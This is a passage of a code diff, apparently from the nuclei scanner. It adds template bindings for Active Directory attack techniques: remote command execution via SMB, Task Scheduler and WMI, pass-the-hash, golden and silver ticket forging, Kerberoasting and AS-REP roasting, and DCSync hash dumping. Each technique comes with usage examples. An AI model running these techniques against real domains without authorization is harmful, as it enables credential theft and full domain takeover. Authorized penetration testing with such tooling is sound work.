"github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libsmtp" _ "github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libssh" diff --git a/pkg/js/generated/go/libdcerpc/dcerpc.go b/pkg/js/generated/go/libdcerpc/dcerpc.go new file mode 100644 index 0000000000..c5693f0c58 --- /dev/null +++ b/pkg/js/generated/go/libdcerpc/dcerpc.go @@ -0,0 +1,36 @@ +package dcerpc + +import ( + lib_dcerpc "github.com/projectdiscovery/nuclei/v3/pkg/js/libs/dcerpc" + + "github.com/Mzack9999/goja" + "github.com/projectdiscovery/nuclei/v3/pkg/js/gojs" +) + +var ( + module = gojs.NewGojaModule("nuclei/dcerpc") +) + +func init() { + module.Set( + gojs.Objects{ + // Functions + + // Var and consts + + // Objects / Classes + "Client": lib_dcerpc.NewClient, + "Endpoint": gojs.GetClassConstructor[lib_dcerpc.Endpoint](&lib_dcerpc.Endpoint{}), + "DomainUser": gojs.GetClassConstructor[lib_dcerpc.DomainUser](&lib_dcerpc.DomainUser{}), + "LookupResult": gojs.GetClassConstructor[lib_dcerpc.LookupResult](&lib_dcerpc.LookupResult{}), + "SmbExecResult": gojs.GetClassConstructor[lib_dcerpc.SmbExecResult](&lib_dcerpc.SmbExecResult{}), + "AtExecResult": gojs.GetClassConstructor[lib_dcerpc.AtExecResult](&lib_dcerpc.AtExecResult{}), + "WmiExecResult": gojs.GetClassConstructor[lib_dcerpc.WmiExecResult](&lib_dcerpc.WmiExecResult{}), + "FileEntry": gojs.GetClassConstructor[lib_dcerpc.FileEntry](&lib_dcerpc.FileEntry{}), + }, + ).Register() +} + +func Enable(runtime *goja.Runtime) { + module.Enable(runtime) +} diff --git a/pkg/js/generated/go/libkrbforge/krbforge.go b/pkg/js/generated/go/libkrbforge/krbforge.go new file mode 100644 index 0000000000..56fa35542a --- /dev/null +++ b/pkg/js/generated/go/libkrbforge/krbforge.go @@ -0,0 +1,32 @@ +package krbforge + +import ( + lib_krbforge "github.com/projectdiscovery/nuclei/v3/pkg/js/libs/krbforge" + + "github.com/Mzack9999/goja" + "github.com/projectdiscovery/nuclei/v3/pkg/js/gojs" +) + +var ( + module = gojs.NewGojaModule("nuclei/krbforge") +) + +func init() { + module.Set( + gojs.Objects{ + // Functions + "CreateGoldenTicket": lib_krbforge.CreateGoldenTicket, + "CreateSilverTicket": lib_krbforge.CreateSilverTicket, + + // Var and consts + + // Objects / Classes + "Ticket": gojs.GetClassConstructor[lib_krbforge.Ticket](&lib_krbforge.Ticket{}), + "TicketRequest": gojs.GetClassConstructor[lib_krbforge.TicketRequest](&lib_krbforge.TicketRequest{}), + }, + ).Register() +} + +func Enable(runtime *goja.Runtime) { + module.Enable(runtime) +} diff --git a/pkg/js/generated/go/libkrbroast/krbroast.go b/pkg/js/generated/go/libkrbroast/krbroast.go new file mode 100644 index 0000000000..5892868ee6 --- /dev/null +++ b/pkg/js/generated/go/libkrbroast/krbroast.go @@ -0,0 +1,33 @@ +package krbroast + +import ( + lib_krbroast "github.com/projectdiscovery/nuclei/v3/pkg/js/libs/krbroast" + + "github.com/Mzack9999/goja" + "github.com/projectdiscovery/nuclei/v3/pkg/js/gojs" +) + +var ( + module = gojs.NewGojaModule("nuclei/krbroast") +) + +func init() { + module.Set( + gojs.Objects{ + // Functions + "ASRepRoast": lib_krbroast.ASRepRoast, + "Kerberoast": lib_krbroast.Kerberoast, + + // Var and consts + + // Objects / Classes + "ASRepRoastRequest": gojs.GetClassConstructor[lib_krbroast.ASRepRoastRequest](&lib_krbroast.ASRepRoastRequest{}), + "KerberoastRequest": gojs.GetClassConstructor[lib_krbroast.KerberoastRequest](&lib_krbroast.KerberoastRequest{}), + "KerberoastResult": gojs.GetClassConstructor[lib_krbroast.KerberoastResult](&lib_krbroast.KerberoastResult{}), + }, + ).Register() +} + +func Enable(runtime *goja.Runtime) { + module.Enable(runtime) +} diff --git a/pkg/js/generated/go/librdp/rdp.go b/pkg/js/generated/go/librdp/rdp.go index ded295cbde..f8ff4bf975 100644 --- a/pkg/js/generated/go/librdp/rdp.go +++ b/pkg/js/generated/go/librdp/rdp.go @@ -20,11 +20,20 @@ func init() { "IsRDP": lib_rdp.IsRDP, // Var and consts + "EncryptionLevelFIPS140_1": lib_rdp.EncryptionLevelFIPS140_1, + "EncryptionLevelRC4_128bit": lib_rdp.EncryptionLevelRC4_128bit, + "EncryptionLevelRC4_40bit": lib_rdp.EncryptionLevelRC4_40bit, + "EncryptionLevelRC4_56bit": lib_rdp.EncryptionLevelRC4_56bit, + "SecurityLayerCredSSP": lib_rdp.SecurityLayerCredSSP, + "SecurityLayerCredSSPWithEarlyUserAuth": lib_rdp.SecurityLayerCredSSPWithEarlyUserAuth, + "SecurityLayerNativeRDP": lib_rdp.SecurityLayerNativeRDP, + "SecurityLayerRDSTLS": lib_rdp.SecurityLayerRDSTLS, + "SecurityLayerSSL": lib_rdp.SecurityLayerSSL, // Objects / Classes - "CheckRDPAuthResponse": gojs.GetClassConstructor[lib_rdp.CheckRDPAuthResponse](&lib_rdp.CheckRDPAuthResponse{}), - "CheckRDPEncryptionResponse": gojs.GetClassConstructor[lib_rdp.RDPEncryptionResponse](&lib_rdp.RDPEncryptionResponse{}), - "IsRDPResponse": gojs.GetClassConstructor[lib_rdp.IsRDPResponse](&lib_rdp.IsRDPResponse{}), + "CheckRDPAuthResponse": gojs.GetClassConstructor[lib_rdp.CheckRDPAuthResponse](&lib_rdp.CheckRDPAuthResponse{}), + "IsRDPResponse": gojs.GetClassConstructor[lib_rdp.IsRDPResponse](&lib_rdp.IsRDPResponse{}), + "RDPEncryptionResponse": gojs.GetClassConstructor[lib_rdp.RDPEncryptionResponse](&lib_rdp.RDPEncryptionResponse{}), }, ).Register() } diff --git a/pkg/js/generated/go/librsync/rsync.go b/pkg/js/generated/go/librsync/rsync.go index ffc6f0a616..7d1b71b8ee 100644 --- a/pkg/js/generated/go/librsync/rsync.go +++ b/pkg/js/generated/go/librsync/rsync.go @@ -20,8 +20,9 @@ func init() { // Var and consts // Objects / Classes - "IsRsyncResponse": gojs.GetClassConstructor[lib_rsync.IsRsyncResponse](&lib_rsync.IsRsyncResponse{}), - "RsyncClient": gojs.GetClassConstructor[lib_rsync.RsyncClient](&lib_rsync.RsyncClient{}), + "IsRsyncResponse": gojs.GetClassConstructor[lib_rsync.IsRsyncResponse](&lib_rsync.IsRsyncResponse{}), + "RsyncClient": gojs.GetClassConstructor[lib_rsync.RsyncClient](&lib_rsync.RsyncClient{}), + "RsyncListResponse": gojs.GetClassConstructor[lib_rsync.RsyncListResponse](&lib_rsync.RsyncListResponse{}), }, ).Register() } diff --git a/pkg/js/generated/go/libsecretsdump/secretsdump.go b/pkg/js/generated/go/libsecretsdump/secretsdump.go new file mode 100644 index 0000000000..a6791359b5 --- /dev/null +++ b/pkg/js/generated/go/libsecretsdump/secretsdump.go @@ -0,0 +1,30 @@ +package secretsdump + +import ( + lib_secretsdump "github.com/projectdiscovery/nuclei/v3/pkg/js/libs/secretsdump" + + "github.com/Mzack9999/goja" + "github.com/projectdiscovery/nuclei/v3/pkg/js/gojs" +) + +var ( + module = gojs.NewGojaModule("nuclei/secretsdump") +) + +func init() { + module.Set( + gojs.Objects{ + // Functions + + // Var and consts + + // Objects / Classes + "Client": lib_secretsdump.NewClient, + "Secret": gojs.GetClassConstructor[lib_secretsdump.Secret](&lib_secretsdump.Secret{}), + }, + ).Register() +} + +func Enable(runtime *goja.Runtime) { + module.Enable(runtime) +} diff --git a/pkg/js/generated/go/libtelnet/telnet.go b/pkg/js/generated/go/libtelnet/telnet.go index a51a54b9c8..45672b4422 100644 --- a/pkg/js/generated/go/libtelnet/telnet.go +++ b/pkg/js/generated/go/libtelnet/telnet.go @@ -2,7 +2,6 @@ package telnet import ( lib_telnet "github.com/projectdiscovery/nuclei/v3/pkg/js/libs/telnet" - telnetmini "github.com/projectdiscovery/nuclei/v3/pkg/utils/telnetmini" "github.com/Mzack9999/goja" "github.com/projectdiscovery/nuclei/v3/pkg/js/gojs" @@ -19,12 +18,23 @@ func init() { "IsTelnet": lib_telnet.IsTelnet, // Var and consts + "DO": lib_telnet.DO, + "DONT": lib_telnet.DONT, + "ECHO": lib_telnet.ECHO, + "ENCRYPT": lib_telnet.ENCRYPT, + "IAC": lib_telnet.IAC, + "NAWS": lib_telnet.NAWS, + "SB": lib_telnet.SB, + "SE": lib_telnet.SE, + "SUPPRESS_GO_AHEAD": lib_telnet.SUPPRESS_GO_AHEAD, + "TERMINAL_TYPE": lib_telnet.TERMINAL_TYPE, + "WILL": lib_telnet.WILL, + "WONT": lib_telnet.WONT, // Objects / Classes - "TelnetClient": gojs.GetClassConstructor[lib_telnet.TelnetClient](&lib_telnet.TelnetClient{}), "IsTelnetResponse": gojs.GetClassConstructor[lib_telnet.IsTelnetResponse](&lib_telnet.IsTelnetResponse{}), + "TelnetClient": gojs.GetClassConstructor[lib_telnet.TelnetClient](&lib_telnet.TelnetClient{}), "TelnetInfoResponse": gojs.GetClassConstructor[lib_telnet.TelnetInfoResponse](&lib_telnet.TelnetInfoResponse{}), - "NTLMInfoResponse": gojs.GetClassConstructor[telnetmini.NTLMInfoResponse](&telnetmini.NTLMInfoResponse{}), }, ).Register() } diff --git a/pkg/js/generated/ts/dcerpc.ts b/pkg/js/generated/ts/dcerpc.ts new file mode 100755 index 0000000000..ab3bcba500 --- /dev/null +++ b/pkg/js/generated/ts/dcerpc.ts @@ -0,0 +1,330 @@ + + +/** + * NewExecDialer returns a *gptransport.Dialer whose DialFn is bound to the + * given executionId. Every connection made through the returned dialer is + * validated against the execution's network policy and routed through the + * matching fastdialer. Pass it into goimpacket constructors such as + * smb.NewClientWithDialer or dcerpc.DialTCPWithDialer to guarantee the + * connection cannot leak across executions. + */ +export function NewExecDialer(execID: string): Dialer | null { + return null; +} + + + +/** + * Client is a stateful DCE/RPC + SMB client backed by Mzack9999/goimpacket. + * One Client wraps one authenticated SMB session against the target host; + * individual RPC interfaces (SAMR, LSARPC, EPMAPPER, ...) are bound on + * demand by the corresponding helper methods. + * @example + * ```javascript + * const dcerpc = require('nuclei/dcerpc'); + * const c = new dcerpc.Client('dc01.acme.local', 'acme.local', 'admin', 'P@ssw0rd'); + * const endpoints = c.RpcDump(); + * log(to_json(endpoints)); + * ``` + */ +export class Client { + + + + public Host?: string; + + + + public Domain?: string; + + + + public User?: string; + + + + public Pass?: string; + + + + public NTHash?: string; + + + + public KrbCC?: string; + + + + public Port?: number; + + + // Constructor of Client + constructor(public host: string, public domain: string, public user: string, public password: string ) {} + + + /** + * SetHash enables NTLM pass-the-hash authentication. + * hash may be the bare NT hash or ":". + * @example + * ```javascript + * const c = new dcerpc.Client('dc01', 'acme.local', 'admin', ''); + * c.SetHash('aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'); + * ``` + */ + public SetHash(hash: string): void { + return; + } + + + /** + * SetKerberos switches the client to Kerberos authentication. dcIP optionally + * pins the KDC IP when DNS is uncooperative. + * @example + * ```javascript + * const c = new dcerpc.Client('dc01.acme.local', 'acme.local', 'admin', 'P@ss'); + * c.SetKerberos('10.10.10.10'); + * ``` + */ + public SetKerberos(dcIP: string): void { + return; + } + + + /** + * SetPort overrides the default SMB port (445). + */ + public SetPort(port: number): void { + return; + } + + + /** + * Close releases the underlying SMB session. + */ + public Close(): void { + return; + } + + + /** + * RpcDump enumerates every RPC endpoint registered with the EPMAPPER over + * ncacn_ip_tcp/135 (impacket: rpcdump.py). + * @example + * ```javascript + * const dcerpc = require('nuclei/dcerpc'); + * const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); + * const eps = c.RpcDump(); + * for (const e of eps) { log(e.UUID + ' ' + e.Annotation); } + * ``` + */ + public RpcDump(ctx: any): Endpoint[] | null { + return null; + } + + + /** + * SamrEnumerateUsers connects to SAMR and returns every domain user record + * (impacket: samrdump.py). + * @example + * ```javascript + * const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); + * const users = c.SamrEnumerateUsers(); + * for (const u of users) { log(u.Name + ' ' + u.RID); } + * ``` + */ + public SamrEnumerateUsers(): DomainUser[] | null { + return null; + } + + + /** + * SamrAddComputer creates a new machine account using the supplied password. + * Useful as the first step in many AD escalations (RBCD / shadow credentials). + * @example + * ```javascript + * const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); + * c.SamrAddComputer('NUCLEI$', 'C0mputerP@ss!'); + * ``` + */ + public SamrAddComputer(name: string): void { + return; + } + + + /** + * SmbExec executes a Windows command on the target host using the + * SVCCTL "create + start service" technique (impacket: smbexec.py / psexec.py). + * The command's stdout/stderr is captured by writing to the chosen share + * (default C$) and read back over SMB. Local admin equivalent rights are + * required on the target. + * command - the command line to run; for powershell prefix with + * `powershell -EncodedCommand ` or use any cmd one-liner. + * share - writable share to stage the output file in (default "C$"). + * @example + * ```javascript + * const dcerpc = require('nuclei/dcerpc'); + * const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); + * const r = c.SmbExec('whoami /all', 'C$'); + * log(r.output); + * ``` + */ + public SmbExec(command: string): SmbExecResult | null { + return null; + } + + + /** + * AtExec executes a Windows command on the target host using the Task Scheduler + * service over the atsvc named pipe (impacket: atexec.py). A one-shot scheduled + * task is registered as LocalSystem, executed once, and then deleted. The + * command's stdout/stderr is captured into %windir%\Temp on the chosen share + * (default ADMIN$) and read back over SMB. Local admin equivalent rights are + * required on the target. + * command - the command line to run (wrapped in cmd.exe /C ... by default). + * share - writable share to retrieve the output file from (default "ADMIN$"). + * @example + * ```javascript + * const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); + * const r = c.AtExec('whoami /all', 'ADMIN$'); + * log(r.output); + * ``` + */ + public AtExec(command: string, share: string): AtExecResult | null { + return null; + } + + + /** + * WmiExec executes a Windows command on the target host using DCOM + * Win32_Process.Create over the WMI IWbemServices interface (impacket: + * wmiexec.py). The command is launched as a fresh process by the WMI host + * process and its stdout/stderr is redirected into a temp file on the chosen + * share (default ADMIN$) which is then read back over SMB. WmiExec is + * stealthier than SmbExec / AtExec because it does not create a service or a + * scheduled task, but Win32_Process.Create itself does not return any captured + * output - the file-tailing roundtrip is required to recover stdout. + * command - the command line to run; wrapped in cmd.exe /Q /c by default. + * share - writable share to retrieve the output file from (default "ADMIN$"). + * Authentication: NTLM with password or pass-the-hash via SetHash. Kerberos is + * not yet supported on this code path. + * @example + * ```javascript + * const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); + * const r = c.WmiExec('whoami /all', 'ADMIN$'); + * log(r.output); + * ``` + */ + public WmiExec(command: string, share: string): WmiExecResult | null { + return null; + } + + + /** + * SmbListShares enumerates the SMB shares exposed by the target. + * @example + * ```javascript + * const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); + * for (const s of c.SmbListShares()) { log(s); } + * ``` + */ + public SmbListShares(): string[] | null { + return null; + } + + + /** + * SmbCat reads the contents of a single file from the given share. The path + * is interpreted relative to the share root (use forward slashes). + * @example + * ```javascript + * const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); + * const txt = c.SmbCat('backup', 'backup_credentials.txt'); + * log(txt); + * ``` + */ + public SmbCat(share: string): string | null { + return null; + } + + + /** + * SmbLs Method + */ + public SmbLs(share: string): FileEntry[] | null { + return null; + } + + + /** + * LsaLookupSids resolves an array of SIDs to (domain, name, type) triples + * against LSARPC (impacket: lookupsid.py). + * @example + * ```javascript + * const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); + * const r = c.LsaLookupSids(['S-1-5-21-...-500']); + * log(to_json(r)); + * ``` + */ + public LsaLookupSids(sids: string[]): LookupResult[] | null { + return null; + } + + +} + + + +/** + * Dialer Interface + */ +export interface Dialer { + + TimeoutSec?: number, +} + + + +/** + */ +export interface FileEntry { + + Name?: string, + + Size?: number, + + IsDir?: boolean, +} + + + +/** + */ +export interface SmbExecResult { + + ServiceName?: string, + + Output?: string, +} + + + +/** + */ +export interface AtExecResult { + + TaskName?: string, + + Output?: string, +} + + + +/** + */ +export interface WmiExecResult { + + ReturnValue?: number, + + Output?: string, +} + diff --git a/pkg/js/generated/ts/index.ts b/pkg/js/generated/ts/index.ts index a4175a45b9..6fe53fd273 100644 --- a/pkg/js/generated/ts/index.ts +++ b/pkg/js/generated/ts/index.ts @@ -1,8 +1,11 @@ export * as bytes from './bytes'; +export * as dcerpc from './dcerpc'; export * as fs from './fs'; export * as goconsole from './goconsole'; export * as ikev2 from './ikev2'; export * as kerberos from './kerberos'; +export * as krbforge from './krbforge'; +export * as krbroast from './krbroast'; export * as ldap from './ldap'; export * as mssql from './mssql'; export * as mysql from './mysql'; @@ -13,6 +16,7 @@ export * as postgres from './postgres'; export * as rdp from './rdp'; export * as redis from './redis'; export * as rsync from './rsync'; +export * as secretsdump from './secretsdump'; export * as smb from './smb'; export * as smtp from './smtp'; export * as ssh from './ssh'; diff --git a/pkg/js/generated/ts/krbforge.ts b/pkg/js/generated/ts/krbforge.ts new file mode 100755 index 0000000000..2c85d7a962 --- /dev/null +++ b/pkg/js/generated/ts/krbforge.ts @@ -0,0 +1,94 @@ + + +/** + * CreateGoldenTicket forges a TGT for the supplied user against the given + * realm using the krbtgt NT hash (or AES key). It returns the ASN.1-encoded + * ticket and the session key. If req.OutputFile is empty no file is written; + * pass an absolute path to also persist a ccache. + * @example + * ```javascript + * const krb = require('nuclei/krbforge'); + * const t = krb.CreateGoldenTicket({ + * username: 'Administrator', + * domain: 'acme.local', + * domain_sid: 'S-1-5-21-1004336348-1177238915-682003330', + * nthash: '31d6cfe0d16ae931b73c59d7e0c089c0', + * }); + * log(t.ticket_hex); + * ``` + */ +export function CreateGoldenTicket(req: TicketRequest): Ticket | null { + return null; +} + + + +/** + * CreateSilverTicket forges a service ticket (TGS) for the supplied SPN. The + * hash supplied must belong to the service account that owns the SPN (e.g. + * the machine account NT hash for cifs/host SPNs). + * @example + * ```javascript + * const krb = require('nuclei/krbforge'); + * const t = krb.CreateSilverTicket({ + * username: 'Administrator', + * domain: 'acme.local', + * domain_sid: 'S-1-5-21-1004336348-1177238915-682003330', + * nthash: '31d6cfe0d16ae931b73c59d7e0c089c0', + * spn: 'cifs/server01.acme.local', + * }, '/tmp/silver.ccache'); + * log(t.output_file); + * ``` + */ +export function CreateSilverTicket(req: TicketRequest, outputFile: string): Ticket | null { + return null; +} + + + +/** + */ +export interface Ticket { + + HexTicket?: string, + + HexKey?: string, + + EncType?: number, + + OutputFile?: string, +} + + + +/** + */ +export interface TicketRequest { + + Username?: string, + + Domain?: string, + + DomainSID?: string, + + NTHash?: string, + + AESKey?: string, + + SPN?: string, + + UserID?: number, + + PrimaryGroupID?: number, + + Groups?: number[], + + ExtraSIDs?: string[], + + DurationHours?: number, + + KVNO?: number, + + OutputFile?: string, +} + diff --git a/pkg/js/generated/ts/krbroast.ts b/pkg/js/generated/ts/krbroast.ts new file mode 100755 index 0000000000..cd37a94799 --- /dev/null +++ b/pkg/js/generated/ts/krbroast.ts @@ -0,0 +1,101 @@ + + +/** + * ASRepRoast asks the KDC for the AS-REP of a user that has DONT_REQ_PREAUTH + * set. No credentials are required. Returns the cracking-format string or + * throws if the user requires pre-auth or does not exist. + * Implemented as a goja-native function so the calling runtime's executionId + * can be captured and bound into the *transport.Dialer routed to the KDC. + * @example + * ```javascript + * const krb = require('nuclei/krbroast'); + * const hash = krb.ASRepRoast({ + * Username: 'svc_jenkins', + * Domain: 'acme.local', + * KDCHost: 'dc01.acme.local', + * }); + * log(hash); + * ``` + */ +export function ASRepRoast(call: any, vm: any): goja.Value { + return new goja.Value(); +} + + + +/** + * Kerberoast requests a TGS for the given SPN using the supplied credentials + * and returns its hashcat-formatted hash for offline cracking. + * Note: the underlying jcmturner/gokrb5 client used by GetTGSWithOptions + * performs its own net.Dial that is not routed through nuclei's fastdialer. + * The host is still pre-validated against the per-execution network policy so + * allowlist / denylist constraints are enforced before any traffic is sent. + * @example + * ```javascript + * const krb = require('nuclei/krbroast'); + * const r = krb.Kerberoast({ + * Username: 'lowpriv', + * Password: 'P@ss', + * Domain: 'acme.local', + * KDCHost: 'dc01.acme.local', + * SPN: 'MSSQLSvc/sql01.acme.local:1433', + * TargetUser: 'svc_sql', + * }); + * log(r.Hash); + * ``` + */ +export function Kerberoast(call: any, vm: any): goja.Value { + return new goja.Value(); +} + + + +/** + */ +export interface ASRepRoastRequest { + + Username?: string, + + Domain?: string, + + KDCHost?: string, + + Format?: string, +} + + + +/** + */ +export interface KerberoastRequest { + + Username?: string, + + Password?: string, + + NTHash?: string, + + Domain?: string, + + KDCHost?: string, + + SPN?: string, + + TargetUser?: string, +} + + + +/** + */ +export interface KerberoastResult { + + Username?: string, + + SPN?: string, + + Hash?: string, + + EType?: number, +} + diff --git a/pkg/js/generated/ts/secretsdump.ts b/pkg/js/generated/ts/secretsdump.ts new file mode 100644 index 0000000000..a71f46fcf0 --- /dev/null +++ b/pkg/js/generated/ts/secretsdump.ts @@ -0,0 +1,93 @@ + + +/** + * Client wraps an authenticated session to a Domain Controller and exposes + * DCSync helpers. + * @example + * ```javascript + * const sd = require('nuclei/secretsdump'); + * const c = new sd.Client('dc01.acme.local', 'acme.local', 'admin', 'P@ss'); + * const krbtgt = c.DCSync('krbtgt'); + * ExportAs('krbtgt_nthash', krbtgt.nthash); + * ``` + */ +export class Client { + + + + public Host?: string; + + + + public Domain?: string; + + + + public User?: string; + + + + public Pass?: string; + + + // Constructor of Client + constructor(public dc: string, public domain: string, public user: string, public password: string ) {} + + + /** + * SetHash enables NTLM pass-the-hash authentication. + * @example + * ```javascript + * const c = new sd.Client('dc01', 'acme.local', 'admin', ''); + * c.SetHash(':31d6cfe0d16ae931b73c59d7e0c089c0'); + * ``` + */ + public SetHash(hash: string): void { + return; + } + + + /** + * DCSync replicates secrets for a single principal (DN, sAMAccountName, or + * SID) and returns its NT/LM hashes, hash history and account state. + * @example + * ```javascript + * const sd = require('nuclei/secretsdump'); + * const c = new sd.Client('dc01', 'acme.local', 'admin', 'P@ss'); + * const s = c.DCSync('Administrator'); + * log(s.nthash); + * ``` + */ + public DCSync(target: string): Secret | null { + return null; + } + + +} + + + +/** + * Secret is the result of a DCSync against a single principal. + */ +export interface Secret { + + sam_account_name?: string, + + distinguished_name?: string, + + rid?: number, + + nthash?: string, + + lmhash?: string, + + nthash_history?: string[], + + lmhash_history?: string[], + + user_account_control?: number, + + pwd_last_set?: number, +} + diff --git a/pkg/js/libs/dcerpc/dcerpc.go b/pkg/js/libs/dcerpc/dcerpc.go new file mode 100644 index 0000000000..39b8ee95ec --- /dev/null +++ b/pkg/js/libs/dcerpc/dcerpc.go @@ -0,0 +1,487 @@ +// Package dcerpc exposes a small subset of the Mzack9999/goimpacket DCE/RPC +// stack to nuclei javascript templates. It is the entry point for AD attack +// templates that need to talk EPMAPPER / SAMR / LSARPC / SVCCTL / TSCH / WINREG +// to a domain controller or member server. +// +// All host arguments are validated against the per-execution network policy +// before any traffic is sent. The actual TCP dial is performed via goimpacket's +// transport package, which nuclei rewires to its fastdialer at startup, so +// proxy / DNS caching / network policy all apply transparently. +package dcerpc + +import ( + "context" + "fmt" + "net" + "strconv" + "time" + + gpatexec "github.com/Mzack9999/goimpacket/pkg/atexec" + gprpc "github.com/Mzack9999/goimpacket/pkg/dcerpc" + gpepm "github.com/Mzack9999/goimpacket/pkg/dcerpc/epmapper" + gplsa "github.com/Mzack9999/goimpacket/pkg/dcerpc/lsarpc" + gpsamr "github.com/Mzack9999/goimpacket/pkg/dcerpc/samr" + gpsvcctl "github.com/Mzack9999/goimpacket/pkg/dcerpc/svcctl" + gptsch "github.com/Mzack9999/goimpacket/pkg/dcerpc/tsch" + gpsession "github.com/Mzack9999/goimpacket/pkg/session" + gpsmb "github.com/Mzack9999/goimpacket/pkg/smb" + gpsmbexec "github.com/Mzack9999/goimpacket/pkg/smbexec" + "github.com/Mzack9999/goja" + + "github.com/projectdiscovery/nuclei/v3/pkg/js/utils" + "github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate" +) + +// Endpoint is a flat representation of an entry returned by the EPMAPPER. +type Endpoint = gpepm.Endpoint + +// DomainUser is a SAMR domain user record. +type DomainUser = gpsamr.DomainUser + +// LookupResult is the result of a SID->name resolution via LSARPC. +type LookupResult = gplsa.LookupResult + +type ( + // Client is a stateful DCE/RPC + SMB client backed by Mzack9999/goimpacket. + // One Client wraps one authenticated SMB session against the target host; + // individual RPC interfaces (SAMR, LSARPC, EPMAPPER, ...) are bound on + // demand by the corresponding helper methods. + // + // @example + // ```javascript + // const dcerpc = require('nuclei/dcerpc'); + // const c = new dcerpc.Client('dc01.acme.local', 'acme.local', 'admin', 'P@ssw0rd'); + // const endpoints = c.RpcDump(); + // log(to_json(endpoints)); + // ``` + Client struct { + Host string + Domain string + User string + Pass string + NTHash string + KrbCC string + Port int + nj *utils.NucleiJS + creds *gpsession.Credentials + target gpsession.Target + smb *gpsmb.Client + started bool + } +) + +// NewClient constructs a DCE/RPC client. Authentication is NTLM by default; +// pass an empty password and use SetHash to enable pass-the-hash. +// +// Constructor: constructor(public host: string, public domain: string, public user: string, public password: string) +func NewClient(call goja.ConstructorCall, runtime *goja.Runtime) *goja.Object { + c := &Client{nj: utils.NewNucleiJS(runtime)} + c.nj.ObjectSig = "Client(host, domain, user, password)" + + c.Host, _ = c.nj.GetArg(call.Arguments, 0).(string) + c.Domain, _ = c.nj.GetArg(call.Arguments, 1).(string) + c.User, _ = c.nj.GetArg(call.Arguments, 2).(string) + c.Pass, _ = c.nj.GetArg(call.Arguments, 3).(string) + c.Port = 445 + + c.nj.Require(c.Host != "", "host cannot be empty") + if !protocolstate.IsHostAllowed(c.nj.ExecutionId(), c.Host) { + c.nj.Throw("host %s blacklisted by network policy", c.Host) + } + + c.creds = &gpsession.Credentials{ + Domain: c.Domain, + Username: c.User, + Password: c.Pass, + } + c.target = gpsession.Target{Host: c.Host, Port: c.Port} + return utils.LinkConstructor(call, runtime, c) +} + +// SetHash enables NTLM pass-the-hash authentication. +// hash may be the bare NT hash or ":". +// +// @example +// ```javascript +// const c = new dcerpc.Client('dc01', 'acme.local', 'admin', ''); +// c.SetHash('aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'); +// ``` +func (c *Client) SetHash(hash string) { + c.creds.Hash = hash + c.creds.Password = "" +} + +// SetKerberos switches the client to Kerberos authentication. dcIP optionally +// pins the KDC IP when DNS is uncooperative. +// +// @example +// ```javascript +// const c = new dcerpc.Client('dc01.acme.local', 'acme.local', 'admin', 'P@ss'); +// c.SetKerberos('10.10.10.10'); +// ``` +func (c *Client) SetKerberos(dcIP string) { + c.creds.UseKerberos = true + c.creds.DCIP = dcIP +} + +// SetPort overrides the default SMB port (445). +func (c *Client) SetPort(port int) { + c.Port = port + c.target.Port = port +} + +// connect lazily establishes the underlying SMB session that all RPC +// transports are tunneled through. The SMB Client is bound to a Dialer that +// captures this client's executionId so every dial inside goimpacket is +// validated against the same network policy. +func (c *Client) connect() error { + if c.started { + return nil + } + if !protocolstate.IsHostAllowed(c.nj.ExecutionId(), c.Host) { + return protocolstate.ErrHostDenied.Msgf(c.Host) + } + c.smb = gpsmb.NewClientWithDialer(c.target, c.creds, NewExecDialer(c.nj.ExecutionId())) + if err := c.smb.Connect(); err != nil { + return fmt.Errorf("smb connect: %w", err) + } + c.started = true + return nil +} + +// Close releases the underlying SMB session. +func (c *Client) Close() { + if c.smb != nil { + c.smb.Close() + } + c.started = false +} + +// rpcOverNamedPipe binds the supplied interface UUID over a named pipe and +// returns an authenticated *dcerpc.Client. +func (c *Client) rpcOverNamedPipe(pipe string, uuid [16]byte, major, minor uint16) (*gprpc.Client, error) { + if err := c.connect(); err != nil { + return nil, err + } + pf, err := c.smb.OpenPipe(pipe) + if err != nil { + return nil, fmt.Errorf("open pipe %q: %w", pipe, err) + } + rpc := gprpc.NewClient(pf) + if err := rpc.BindAuth(uuid, major, minor, c.creds); err != nil { + _ = pf.Close() + return nil, fmt.Errorf("dcerpc bind: %w", err) + } + return rpc, nil +} + +// RpcDump enumerates every RPC endpoint registered with the EPMAPPER over +// ncacn_ip_tcp/135 (impacket: rpcdump.py). +// +// @example +// ```javascript +// const dcerpc = require('nuclei/dcerpc'); +// const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); +// const eps = c.RpcDump(); +// for (const e of eps) { log(e.UUID + ' ' + e.Annotation); } +// ``` +func (c *Client) RpcDump(ctx context.Context) ([]Endpoint, error) { + if !protocolstate.IsHostAllowed(c.nj.ExecutionId(), c.Host) { + return nil, protocolstate.ErrHostDenied.Msgf(c.Host) + } + dialer := protocolstate.GetDialersWithId(c.nj.ExecutionId()) + if dialer == nil { + return nil, fmt.Errorf("dialers not initialized for execution %s", c.nj.ExecutionId()) + } + conn, err := dialer.Fastdialer.Dial(ctx, "tcp", net.JoinHostPort(c.Host, strconv.Itoa(135))) + if err != nil { + return nil, fmt.Errorf("dial epmapper: %w", err) + } + defer func() { _ = conn.Close() }() + + rpc := gprpc.NewClientTCP(gprpc.NewTCPTransport(conn)) + if err := rpc.Bind(gpepm.UUID, gpepm.MajorVersion, gpepm.MinorVersion); err != nil { + return nil, fmt.Errorf("epmapper bind: %w", err) + } + epm := gpepm.NewEpmClient(rpc) + return epm.Lookup() +} + +// SamrEnumerateUsers connects to SAMR and returns every domain user record +// (impacket: samrdump.py). +// +// @example +// ```javascript +// const c = new dcerpc.Client('dc01', 'acme.local', 'admin', 'P@ss'); +// const users = c.SamrEnumerateUsers(); +// for (const u of 